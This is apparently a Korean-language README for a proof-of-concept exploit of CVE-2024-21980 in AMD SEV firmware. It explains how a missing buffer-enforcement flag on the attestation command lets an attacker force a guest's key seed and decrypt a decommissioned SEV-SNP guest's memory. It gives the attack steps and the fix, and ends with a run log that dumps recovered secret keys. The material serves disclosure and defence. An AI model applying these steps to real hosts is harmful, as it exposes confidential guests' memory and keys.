
CVE-2024-21980 익스플로잇: 명령 버퍼 강제 우회를 통해 폐기된 SEV-SNP 게스트의 임의 메모리를 복호화하는 AMD SEV 펌웨어 대상 공격.
이 저장소는 SEV 펌웨어의 취약점에 대한 익스플로잇을 포함합니다. 이 익스플로잇은 SEV-SNP 게스트가 폐기(decommission)된 후 임의 메모리를 복호화할 수 있도록 합니다.
버전 1.55.16 (현재 최신 버전)에서 테스트되었습니다.
SEV 펌웨어에는 모든 명령어에 대한 함수 포인터와 명령어와 관련된 몇 가지 추가 속성을 포함하는 master_handler_table이라는 테이블이 있습니다. 그 추가 속성 중 두 가지는 cmd_buf_type과 snp_cmd_buf_enforcement입니다. cmd_buf_type은 명령어 버퍼를 호스트 메모리로 복사하거나 호스트 메모리에서 복사해야 하는지 여부를 결정합니다. snp_cmd_buf_enforcement는 이러한 복사 작업이 명령어 버퍼를 지원하는 메모리가 FIRMWARE 또는 DEFAULT 상태에 있는지 확인하는 검사를 받아야 하는지 여부를 결정합니다. cmd_buf_type이 CMD_BUF_OUTPUT_ONLY, CMD_BUF_INPUT_AND_OUTPUT, 또는 CMD_BUF_INPUT_AND_OUTPUT_ERROR 중 하나인 명령어는 모두 snp_cmd_buf_enforcement가 true로 설정되어야 합니다. 그렇지 않으면 명령어 출력을 다시 쓰면 RMP 보호 영역 내에서 메모리 손상이 발생할 수 있습니다. snp_cmd_buf_enforcement는 한 가지 예외를 제외하고 이러한 모든 명령어에 대해 true입니다. 바로 SEV_MCMD_ID_ATTESTATION입니다. 이 명령어는 cmd_buf_type이 CMD_BUF_INPUT_AND_OUTPUT_ERROR로 설정되어 있지만 snp_cmd_buf_enforcement는 false로 설정되어 있습니다. 결과적으로 RMP로 보호된 메모리를 가리키는 명령어 버퍼로 SEV_MCMD_ID_ATTESTATION을 실행하고 출력이 다시 쓰여질 때 해당 메모리가 손상될 수 있습니다.
SEV_MCMD_ID_ATTESTATION이 왜 예외가 되어야 하는지 알 수 없으며, 오타나 복사-붙여넣기 실수일 가능성이 있어 보입니다.
SEV_MCMD_ID_ATTESTATION은 명령어 버퍼의 단일 필드 length(4바이트)에만 쓰기 때문에 해당 바이트만 메모리 손상에 사용할 수 있습니다. SEV_MCMD_ID_ATTESTATION은 항상 동일한 값인 0x000000d0을 씁니다. 다행히 명령어 버퍼에 정렬 요구 사항이 없으므로 명령어 버퍼를 반복적으로 이동하여 더 넓은 범위의 연속 메모리를 손상시킬 수 있습니다. 이를 사용하여 게스트 컨텍스트 페이지의 처음 16바이트를 정적 패턴으로 손상시킬 것입니다. 이 처음 16바이트는 UMC 키 시드를 포함하므로 이를 정적 값으로 강제하면 게스트의 암호화 키를 정적 값으로 강제할 수 있습니다.
여기에 제공된 익스플로잇은 SWPSIRT-2684/CVE-2023-31355에 대해 제공한 익스플로잇을 기반으로 합니다.
취약점을 악용하려면 다음 단계를 수행할 수 있습니다:
SEV_MCMD_ID_ATTESTATION에 필요합니다. 이 게스트를 계속 실행 상태로 유지합니다.0x2000에 게스트 컨텍스트 페이지를 생성합니다. RMP 보호 영역 내의 다른 주소도 가능하지만 고정 주소는 디버깅에 유용합니다.0x2000에 게스트 컨텍스트 페이지를 생성합니다. 이는 1단계에서 사용한 것과 동일한 주소여야 합니다.SNP_DBG_ENCRYPT 명령어를 사용하여 공격자 게스트의 컨텍스트 페이지를 사용하여 피해자 게스트의 메모리를 복호화합니다. 피해자 게스트와 공격자 게스트가 UMC 키 시드를 공유하므로 이 작업이 성공합니다.영향은 최소한 SWPSIRT-2684와 동일해야 합니다. 현재 이 버그가 폐기되기 전에 실행 중인 게스트의 메모리를 복호화하는 데 사용될 수 있는지는 불분명합니다.
snp_cmd_buf_enforcement는 SEV_MCMD_ID_ATTESTATION에 대해 true로 설정되어야 합니다.
흥미롭게도 Linux KVM 호스트 지원 패치는 업데이트할 필요가 없습니다. 왜냐하면 이미 SEV_CMD_ATTESTATION_REPORT를 sev_cmd_buf_writable에서 명령어 버퍼가 FIRMWARE 상태여야 하는 명령어로 나열하고 있기 때문입니다. 다른 하이퍼바이저의 경우 변경이 필요할 수도 있고 필요하지 않을 수도 있습니다.
root@server:~# dmesg | grep "kvm_amd: Detected secret page"
[ 463.851449] kvm_amd: Detected secret page at pfn 171a24
root@server:~/firmware-vuln-poc# cargo run -- --pfn 0x171a24
Finished dev [unoptimized + debuginfo] target(s) in 0.03s
Creating VM with identical UMC key seed
Raw page:
000: 0300000000000000110fa00000000000000000000000000000000000a98d95ff
020: 29d761f0c5bdc1b4b4a69fd2f37c829ca6d30d439252f7daefd72fcd45262053
040: 3c10be491d825e35ea4166261486e417187c679efcc2d2be8553f32c2c62bbf3
060: 27ac6d99214a2ce1fc37d35a94475ff377e67caacc43add86e908a9369207343
080: 14c197ffbcfade378bd1b33819051d5d3628b5eb71a0b84daefed27671e8e202
0a0: 0000000000000000000000000000000000000000000000000000000000000000
0c0: 0000000000000000000000000000000000000000000000000000000000000000
0e0: 0000000000000000000000000000000000000000000000000000000000000000
100: 000000000080008800000000eeff0000f0ffffffffffffffff3f000000000000
120: 0000000000000000000000000000000000000000000000000000000000000000
140: 0000000000000000000000000000000000000000000000000000000000000000
160: c800000000000000000000000000000000000000000000000000000000000000
180: 0000000000000000000000000000000000000000000000000000000000000000
1a0: 0000000000000000000000000000000000000000000000000000000000000000
1c0: 0000000000000000000000000000000000000000000000000000000000000000
1e0: 0000000000000000000000000000000000000000000000000000000000000000
200: 0000000000000000000000000000000000000000000000000000000000000000
220: 0000000000000000000000000000000000000000000000000000000000000000
240: 0000000000000000000000000000000000000000000000000000000000000000
260: 0000000000000000000000000000000000000000000000000000000000000000
280: 0000000000000000000000000000000000000000000000000000000000000000
2a0: 0000000000000000000000000000000000000000000000000000000000000000
2c0: 0000000000000000000000000000000000000000000000000000000000000000
2e0: 0000000000000000000000000000000000000000000000000000000000000000
300: 0000000000000000000000000000000000000000000000000000000000000000
320: 0000000000000000000000000000000000000000000000000000000000000000
340: 0000000000000000000000000000000000000000000000000000000000000000
360: 0000000000000000000000000000000000000000000000000000000000000000
380: 0000000000000000000000000000000000000000000000000000000000000000
3a0: 0000000000000000000000000000000000000000000000000000000000000000
3c0: 0000000000000000000000000000000000000000000000000000000000000000
3e0: 0000000000000000000000000000000000000000000000000000000000000000
400: 0000000000000000000000000000000000000000000000000000000000000000
420: 0000000000000000000000000000000000000000000000000000000000000000
440: 0000000000000000000000000000000000000000000000000000000000000000
460: 0000000000000000000000000000000000000000000000000000000000000000
480: 0000000000000000000000000000000000000000000000000000000000000000
4a0: 0000000000000000000000000000000000000000000000000000000000000000
4c0: 0000000000000000000000000000000000000000000000000000000000000000
4e0: 0000000000000000000000000000000000000000000000000000000000000000
500: 0000000000000000000000000000000000000000000000000000000000000000
520: 0000000000000000000000000000000000000000000000000000000000000000
540: 0000000000000000000000000000000000000000000000000000000000000000
560: 0000000000000000000000000000000000000000000000000000000000000000
580: 0000000000000000000000000000000000000000000000000000000000000000
5a0: 0000000000000000000000000000000000000000000000000000000000000000
5c0: 0000000000000000000000000000000000000000000000000000000000000000
5e0: 0000000000000000000000000000000000000000000000000000000000000000
600: 0000000000000000000000000000000000000000000000000000000000000000
620: 0000000000000000000000000000000000000000000000000000000000000000
640: 0000000000000000000000000000000000000000000000000000000000000000
660: 0000000000000000000000000000000000000000000000000000000000000000
680: 0000000000000000000000000000000000000000000000000000000000000000
6a0: 0000000000000000000000000000000000000000000000000000000000000000
6c0: 0000000000000000000000000000000000000000000000000000000000000000
6e0: 0000000000000000000000000000000000000000000000000000000000000000
700: 0000000000000000000000000000000000000000000000000000000000000000
720: 0000000000000000000000000000000000000000000000000000000000000000
740: 0000000000000000000000000000000000000000000000000000000000000000
760: 0000000000000000000000000000000000000000000000000000000000000000
780: 0000000000000000000000000000000000000000000000000000000000000000
7a0: 0000000000000000000000000000000000000000000000000000000000000000
7c0: 0000000000000000000000000000000000000000000000000000000000000000
7e0: 0000000000000000000000000000000000000000000000000000000000000000
800: 0000000000000000000000000000000000000000000000000000000000000000
820: 0000000000000000000000000000000000000000000000000000000000000000
840: 0000000000000000000000000000000000000000000000000000000000000000
860: 0000000000000000000000000000000000000000000000000000000000000000
880: 0000000000000000000000000000000000000000000000000000000000000000
8a0: 0000000000000000000000000000000000000000000000000000000000000000
8c0: 0000000000000000000000000000000000000000000000000000000000000000
8e0: 0000000000000000000000000000000000000000000000000000000000000000
900: 0000000000000000000000000000000000000000000000000000000000000000
920: 0000000000000000000000000000000000000000000000000000000000000000
940: 0000000000000000000000000000000000000000000000000000000000000000
960: 0000000000000000000000000000000000000000000000000000000000000000
980: 0000000000000000000000000000000000000000000000000000000000000000
9a0: 0000000000000000000000000000000000000000000000000000000000000000
9c0: 0000000000000000000000000000000000000000000000000000000000000000
9e0: 0000000000000000000000000000000000000000000000000000000000000000
a00: 0000000000000000000000000000000000000000000000000000000000000000
a20: 0000000000000000000000000000000000000000000000000000000000000000
a40: 0000000000000000000000000000000000000000000000000000000000000000
a60: 0000000000000000000000000000000000000000000000000000000000000000
a80: 0000000000000000000000000000000000000000000000000000000000000000
aa0: 0000000000000000000000000000000000000000000000000000000000000000
ac0: 0000000000000000000000000000000000000000000000000000000000000000
ae0: 0000000000000000000000000000000000000000000000000000000000000000
b00: 0000000000000000000000000000000000000000000000000000000000000000
b20: 0000000000000000000000000000000000000000000000000000000000000000
b40: 0000000000000000000000000000000000000000000000000000000000000000
b60: 0000000000000000000000000000000000000000000000000000000000000000
b80: 0000000000000000000000000000000000000000000000000000000000000000
ba0: 0000000000000000000000000000000000000000000000000000000000000000
bc0: 0000000000000000000000000000000000000000000000000000000000000000
be0: 0000000000000000000000000000000000000000000000000000000000000000
c00: 0000000000000000000000000000000000000000000000000000000000000000
c20: 0000000000000000000000000000000000000000000000000000000000000000
c40: 0000000000000000000000000000000000000000000000000000000000000000
c60: 0000000000000000000000000000000000000000000000000000000000000000
c80: 0000000000000000000000000000000000000000000000000000000000000000
ca0: 0000000000000000000000000000000000000000000000000000000000000000
cc0: 0000000000000000000000000000000000000000000000000000000000000000
ce0: 0000000000000000000000000000000000000000000000000000000000000000
d00: 0000000000000000000000000000000000000000000000000000000000000000
d20: 0000000000000000000000000000000000000000000000000000000000000000
d40: 0000000000000000000000000000000000000000000000000000000000000000
d60: 0000000000000000000000000000000000000000000000000000000000000000
d80: 0000000000000000000000000000000000000000000000000000000000000000
da0: 0000000000000000000000000000000000000000000000000000000000000000
dc0: 0000000000000000000000000000000000000000000000000000000000000000
de0: 0000000000000000000000000000000000000000000000000000000000000000
e00: 0000000000000000000000000000000000000000000000000000000000000000
e20: 0000000000000000000000000000000000000000000000000000000000000000
e40: 0000000000000000000000000000000000000000000000000000000000000000
e60: 0000000000000000000000000000000000000000000000000000000000000000
e80: 0000000000000000000000000000000000000000000000000000000000000000
ea0: 0000000000000000000000000000000000000000000000000000000000000000
ec0: 0000000000000000000000000000000000000000000000000000000000000000
ee0: 0000000000000000000000000000000000000000000000000000000000000000
f00: 0000000000000000000000000000000000000000000000000000000000000000
f20: 0000000000000000000000000000000000000000000000000000000000000000
f40: 0000000000000000000000000000000000000000000000000000000000000000
f60: 0000000000000000000000000000000000000000000000000000000000000000
f80: 0000000000000000000000000000000000000000000000000000000000000000
fa0: 0000000000000000000000000000000000000000000000000000000000000000
fc0: 0000000000000000000000000000000000000000000000000000000000000000
fe0: 0000000000000000000000000000000000000000000000000000000000000000
Secrets page:
imi_en: false
FMS: 00a00f11
gosvw: 000000000000000000000000a98d95ff
vmpck0: 29d761f0c5bdc1b4b4a69fd2f37c829ca6d30d439252f7daefd72fcd45262053
vmpck1: 3c10be491d825e35ea4166261486e417187c679efcc2d2be8553f32c2c62bbf3
vmpck2: 27ac6d99214a2ce1fc37d35a94475ff377e67caacc43add86e908a9369207343
vmpck3: 14c197ffbcfade378bd1b33819051d5d3628b5eb71a0b84daefed27671e8e202
VMSA tweak bitmap: 000000000080008800000000eeff0000f0ffffffffffffffff3f0000000000000000000000000000000000000000000000000000000000000000000000000000
tsc_factor: 200